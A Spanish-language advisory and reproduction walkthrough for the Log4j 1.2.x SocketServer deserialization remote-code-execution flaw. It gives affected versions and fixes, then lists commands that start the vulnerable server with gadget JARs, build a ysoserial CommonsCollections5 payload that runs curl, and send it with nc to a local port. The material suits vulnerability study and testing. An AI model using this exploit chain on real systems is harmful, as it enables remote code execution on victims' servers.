
Apache Log4j 1.2.X tiene una vulnerabilidad de ejecución remota de código por deserialización.
Enlace de referencia del aviso de vulnerabilidad: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ
Apache Log4j es una herramienta de registro de código abierto basada en Java de la Apache Software Foundation. En las versiones de la serie Apache Log4j 1.2.X existe una vulnerabilidad de ejecución remota de código por deserialización. Un atacante puede aprovechar esta vulnerabilidad para ejecutar comandos maliciosos arbitrarios. Log4j 1.2.X incluye una clase SocketServer que es muy propensa a deserializar datos no confiables. Cuando se combina con gadgets de deserialización al escuchar tráfico de red no confiable de datos de registro, esta clase puede explotarse para ejecutar código arbitrario de forma remota. El impacto incluye la versión más reciente actual.
Alto riesgo
Alcance afectado 1.2.4 <= Apache Log4j <= 1.2.17 (versión más reciente)
Recomendaciones de reparación
Actualizar a la última versión de la serie Apache Log4j 2
Evitar exponer a Internet el puerto socket abierto por esta clase
Ya en la era de Apache Log4j 2.8.1 existía una vulnerabilidad de ejecución remota de código por deserialización (CVE-2017-5645); la clase vulnerable que se activaba entonces era org.apache.logging.log4j.core.net.server.TcpSocketServer. En la era de Apache Log4j 1.2.X, la clase vulnerable pasó a ser org.apache.log4j.net.SocketServer.
Buscando en internet, descubrí que la forma de iniciar el socketserver de log4j 1.X es mediante el comando java, no abriéndolo con código Java. (Si existe otra forma de iniciarlo, agradecería que me lo hicieran saber)
De igual manera, es necesario descargar los archivos JAR afectados y los que permiten la ejecución de código, configurarlos en las variables de entorno (a continuación, en un entorno Windows), iniciar el servicio y pasar tres parámetros: el puerto, el archivo de configuración de log4j y el directorio lcf:
java -cp log4j-1.2.17.jar;c3p0-0.9.5.2.jar;mchange-commons-java-0.2.11.jar;commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 log4jserver.properties ./
java -cp log4j-1.2.17.jar:../commons-collections/commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 config/log4jserver.properties ./
java -jar ysoserial-master.jar CommonsCollections5 "curl http://127.0.0.1/ssrf/ssrf.php?rand=log4j" > log4j.curl.bin
nc 127.0.0.1 4560 < log4j.curl.bin
Obtención de los archivos JAR relacionados: https://github.com/shadow-horse/Vulenvironment/libs